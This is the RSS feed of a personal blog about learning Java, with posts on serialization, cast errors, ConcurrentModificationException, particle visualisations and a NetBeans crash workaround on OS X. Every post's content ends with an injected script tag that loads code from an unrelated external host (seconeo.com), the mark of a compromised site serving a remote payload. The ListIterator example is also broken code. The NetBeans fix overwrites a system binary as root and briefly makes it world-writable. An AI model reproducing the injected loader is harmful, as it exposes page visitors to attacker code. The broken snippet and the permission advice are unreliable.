<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>random() &#187; learning Java</title>
	<atom:link href="http://blog.maxgarfinkel.com/archives/category/learning-java/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.maxgarfinkel.com</link>
	<description>All sorts, who knows?</description>
	<lastBuildDate>Thu, 19 Aug 2010 20:07:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>anonymous class not serializable</title>
		<link>http://blog.maxgarfinkel.com/archives/197</link>
		<comments>http://blog.maxgarfinkel.com/archives/197#comments</comments>
		<pubDate>Thu, 19 Aug 2010 20:05:39 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[learning Java]]></category>
		<category><![CDATA[java]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=197</guid>
		<description><![CDATA[Spent a while tracking down a serializable error. Took me a while to discover that anonymous classes are not serializable, even if they are implementing an interface that extends serializable. Wasn&#8217;t really a problem from me but did take a while to find.]]></description>
			<content:encoded><![CDATA[<p>Spent a while tracking down a serializable error. Took me a while to discover that anonymous classes are not serializable, even if they are implementing an interface that extends serializable. Wasn&#8217;t really a problem from me but did take a while to find.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/197/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[Ljava.lang.Object cast errors</title>
		<link>http://blog.maxgarfinkel.com/archives/198</link>
		<comments>http://blog.maxgarfinkel.com/archives/198#comments</comments>
		<pubDate>Sat, 14 Aug 2010 15:13:00 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[learning Java]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=198</guid>
		<description><![CDATA[This turned out to be a really simple thing. I was trying to cast an object to something else. I had received an object in good faith from an xml rpc call. It was supposed to contain a List of stuff but I kept getting casting errors that talked of being unable to cast [Ljava.lang.Object [...]]]></description>
			<content:encoded><![CDATA[<p>This turned out to be a really simple thing. I was trying to cast an object to something else. I had received an object in good faith from an xml rpc call. It was supposed to contain a List of stuff but I kept getting casting errors that talked of being unable to cast [Ljava.lang.Object to what ever it was I wanted. I went out of my mind trying to find out what was wrong. It turns out that [Ljava.lang.Object means an array of objects!</p>
<p>[Ljava.lang.Object <em>is </em>an array of objects <strong>not</strong> an object.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/198/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ConcurrentModificationException in a single thread</title>
		<link>http://blog.maxgarfinkel.com/archives/163</link>
		<comments>http://blog.maxgarfinkel.com/archives/163#comments</comments>
		<pubDate>Sun, 14 Feb 2010 17:16:54 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[learning Java]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=163</guid>
		<description><![CDATA[Today I came across a ConcurrentModificationException being thrown when no concurrent work was taking place. I learned (after a bit of hair tearing) that when you are looping over a list and you decide to remove something from it you will get this error. for&#40;Node n : nodes&#41;&#123; //do some stuff nodes.remove&#40;n&#41;;//This will throw the [...]]]></description>
			<content:encoded><![CDATA[<p>Today I came across a ConcurrentModificationException being thrown when no concurrent work was taking place. I learned (after a bit of hair tearing) that when you are looping over a list and you decide to remove something from it you will get this error.</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span>Node n <span style="color: #339933;">:</span> nodes<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">//do some stuff</span>
    nodes.<span style="color: #006633;">remove</span><span style="color: #009900;">&#40;</span>n<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//This will throw the error</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>It makes perfect sense if you think about it. You are stepping over a list, no doubt under the hood somewhere a counter is being used. When you remove a element from a list, all the other elements are shuffled down so now your iterator is going to miss an element and shoot off the end of the list, so instead of that it fails fast and throws an exception. However, more importantly than why it happens, how can we stop it happening? Well we use a list iterator instead.</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;">ListIterator<span style="color: #339933;">&lt;</span>Node<span style="color: #339933;">&gt;</span> i <span style="color: #339933;">=</span> nodes.<span style="color: #006633;">listIterator</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">while</span><span style="color: #009900;">&#40;</span>li.<span style="color: #006633;">hasNext</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    Node n <span style="color: #339933;">=</span> i.<span style="color: #006633;">next</span><span style="color: #339933;">;</span>
    li.<span style="color: #006633;">remove</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//No error if you remove the element through the iterator</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/163/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>More cool images from my msc project</title>
		<link>http://blog.maxgarfinkel.com/archives/92</link>
		<comments>http://blog.maxgarfinkel.com/archives/92#comments</comments>
		<pubDate>Sun, 23 Aug 2009 11:16:46 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[learning Java]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=92</guid>
		<description><![CDATA[Just finished work on a particle view module for my project. Basically you have landmarks and trails. Particles get sent from landmark A to landmark B proportionally to the number of people who have traveled from A-B. Video to follow soon. This view on the data was partially  inspired by this video.]]></description>
			<content:encoded><![CDATA[<p>Just finished work on a particle view module for my project. Basically you have landmarks and trails. Particles get sent from landmark A to landmark B proportionally to the number of people who have traveled from A-B. Video to follow soon.</p>
<div id="attachment_93" class="wp-caption alignnone" style="width: 510px"><a href="http://blog.maxgarfinkel.com/wp-uploads/2009/08/partical-map.gif"><img class="size-full wp-image-93" title="partical map" src="http://blog.maxgarfinkel.com/wp-uploads/2009/08/partical-map.gif" alt="particle map of suffix tree data" width="500" height="500" /></a><p class="wp-caption-text">particle map of suffix tree data</p></div>
<p>This view on the data was partially  inspired by <a title="world flights" href="http://www.youtube.com/watch?v=1XBwjQsOEeg" target="_blank">this video</a>.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/92/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Netbeans fails to start</title>
		<link>http://blog.maxgarfinkel.com/archives/35</link>
		<comments>http://blog.maxgarfinkel.com/archives/35#comments</comments>
		<pubDate>Mon, 13 Apr 2009 09:04:51 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[learning Java]]></category>
		<category><![CDATA[Crash]]></category>
		<category><![CDATA[Leopard]]></category>
		<category><![CDATA[NetBeans]]></category>
		<category><![CDATA[OS X]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=35</guid>
		<description><![CDATA[I upgraded to leopard finally, and NetBeans failed to start. The symptoms were this: I double click the icon in the doc and it jumps up and down a couple of times and then nothing. I had a look in the logs and I found the following &#8220;&#8230;org.netbeans.ide[14238]) Exited with exit code: 139&#8243; I also [...]]]></description>
			<content:encoded><![CDATA[<p>I upgraded to leopard finally, and NetBeans failed to start. The symptoms were this: I double click the icon in the doc and it jumps up and down a couple of times and then nothing. I had a look in the logs and I found the following  &#8220;&#8230;org.netbeans.ide[14238]) Exited with exit code: 139&#8243; I also noticed it was always preceeded by &#8230; ReportCrash[14543] Formulating crash report for process java[14542].</p>
<p>The Java crash report contained the following</p>
<blockquote><p>Process:         java [15805]<br />
Path:            /System/Library/Frameworks/JavaVM.framework/Versions/1.5/Home/bin/java<br />
Identifier:      java<br />
Version:         ??? (???)<br />
Code Type:       X86-64 (Native)<br />
Parent Process:  bash [15667]</p>
<p>Date/Time:       2009-04-12 13:27:07.932 +0100<br />
OS Version:      Mac OS X 10.5.6 (9G66)<br />
Report Version:  6</p>
<p>Exception Type:  EXC_BAD_ACCESS (SIGSEGV)<br />
Exception Codes: 0x000000000000000d, 0&#215;0000000000000000<br />
Crashed Thread:  0</p>
<p>Thread 0 Crashed:<br />
0   ???                               0x00000001000111c1 0 + 4295037377<br />
1   ???                               0x000000010001276f 0 + 4295042927<br />
2   ???                               0x0000000100012a1c 0 + 4295043612<br />
3   ???                               0x000000010001104d 0 + 4295037005</p>
<p>Thread 0 crashed with X86 Thread State (64-bit):<br />
rax: 0&#215;0000000000000041  rbx: 0x00007fff5fbfe550  rcx: 0&#215;0000000000000000  rdx: 0&#215;0000000000000014<br />
rdi: 0&#215;0000000100014708  rsi: 0x352e312f736e6f69  rbp: 0x00007fff5fbfe330  rsp: 0x00007fff5fbfe330<br />
r8: 0x0000000092b5a5f2   r9: 0&#215;0000000000000000  r10: 0&#215;0000000000000000  r11: 0&#215;0000000000000000<br />
r12: 0&#215;0000000000000014  r13: 0&#215;0000000100014708  r14: 0&#215;0000000000000015  r15: 0&#215;0000000000000000<br />
rip: 0x00000001000111c1  rfl: 0&#215;0000000000010293  cr2: 0&#215;0000000100014708</p>
<p>Binary Images:<br />
0x7fff5fc00000 &#8211;     0x7fff5fc2e643  dyld 97.1 (???) &lt;b40847f1ce1ba2ed13837aeccbf19284&gt; /usr/lib/dyld</p></blockquote>
<p>After much searching it seems it may be a problem with apples 64bit JVM, it all seems quite complicated and I don&#8217;t fully understand it but <a href="http://discussions.apple.com/thread.jspa?messageID=7915010" target="_blank">this thread here</a> seems to say that that is the problem and that there is a strange workaround. To get NetBeans starting again, albeit only from the terminal, I added the following line to by .profile file in my home directory (you need to log out and back in again for it to take effect):</p>
<blockquote><p>export JAVA_HOME=$JAVA_HOME:/no/path</p></blockquote>
<p>I found I could then open NetBeans from the command line with the following command:</p>
<blockquote><p>open /Applications/NetBeans/NetBeans\ 6.5.1.app</p></blockquote>
<p>Not a proper solution but it gets you working again when you have an assignment due, and on that note!</p>
<p>!!UPDATE!!</p>
<p>Had I read more carefully I would have found <a href="http://discussions.apple.com/thread.jspa?threadID=1694282" target="_blank">this link</a> to a better solution. Basically it tells you how to remove the 64bit part of the java excitable  so NetBeans can only use the 32bit version. The steps are this:</p>
<p style="padding-left: 30px;">Open Terminal.app, become root (sudo -s) and run the following commands.<br />
(The &#8216;#&#8217; is the shell prompt showing that we&#8217;re running as root)<br />
# cp -p /System/Library/Frameworks/JavaVM.framework/Versions/1.5.0/Home/bin/java /tmp/java_original_binary<br />
# lipo /System/Library/Frameworks/JavaVM.framework/Versions/1.5.0/Home/bin/java  -remove x86_64  -output /tmp/java<br />
# cat /tmp/java &gt; /System/Library/Frameworks/JavaVM.framework/Versions/1.5.0/Home/bin/java</p>
<p>Thanks to Noah Williamson for the tip</p>
<p><strong>*More update*</strong></p>
<p>Apple software update ran this morning and installed a java update. This removed the fix and stopped netbeans opening again. Applying the fix was marginally more tricky this time &#8211; the final command failed because of permission issues. The work around I found was to go to /tmp/java and manually allow read and write to everyone and to do the same for /System/Library/Frameworks/JavaVM.framework/Versions/1.5.0/Home/bin/java . I&#8217;m not sure if you need to do the first one but you defiantly need to do the second. When done I set the permissions back to how they were. now I&#8217;m able to work again.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/35/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Visualize txt files with particles</title>
		<link>http://blog.maxgarfinkel.com/archives/33</link>
		<comments>http://blog.maxgarfinkel.com/archives/33#comments</comments>
		<pubDate>Sun, 06 Jul 2008 21:41:01 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[learning Java]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=33</guid>
		<description><![CDATA[learning Java rolls on. Building on my last experiment I have created an app that can read in a text file and then map the words to particles ordered by their number of occurrences within the text. javagraphics You need to pass a link to a txt file when launching from the command line like [...]]]></description>
			<content:encoded><![CDATA[<p>learning Java rolls on. Building on my last experiment I have created an app that can read in a text file and then map the words to particles ordered by their number of occurrences within the text.</p>
<p><a title="Java application for viewing textfiles" href="/wp-uploads/2009/05/javagraphics.jar">javagraphics</a></p>
<p>You need to pass a link to a txt file when launching from the command line like this</p>
<p>java -jar javagraphics.jar someText.txt</p>
<p>The bible is easy to get hold of as a txt file as was war and peace. This is still very much a badly written toy but I hope to develop it more.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/33/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Giving Java a go!</title>
		<link>http://blog.maxgarfinkel.com/archives/31</link>
		<comments>http://blog.maxgarfinkel.com/archives/31#comments</comments>
		<pubDate>Sun, 29 Jun 2008 21:04:49 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[learning Java]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/?p=31</guid>
		<description><![CDATA[Thought I would give Java a go today, wanted to try something I might do with flash and compare to see how much harder/time consuming it might be Vs how much more power you can get from Java. Well first results are in, and I was surprised to find it didn&#8217;t take much longer and [...]]]></description>
			<content:encoded><![CDATA[<p>Thought I would give Java a go today, wanted to try something I might do with flash and compare to see how much harder/time consuming it might be Vs how much more power you can get from Java. Well first results are in, and I was surprised to find it didn&#8217;t take much longer and was MUCH more powerful. I was using <a href="http://www.netbeans.org/" target="_blank">NetBeans</a> which is a very nice IDE. The piece is a particle field and I was originaly able to crank it up to 500,000 particles, the frame rate dropped but it was still under a frame a second on a 2.16 ghz Macbook Pro. I tried for a 1,000,000 partcles but it ran out of heap space, although I think there is probably a way around that. Well compared to flash this is amazing you could never get performance like that.<br />
It seems to me that not everything is going to be as easy as in flash but that the performance will make up<br />
for the difficulty. I will have to leave it there for now but hope to play some more soon!<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/31/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
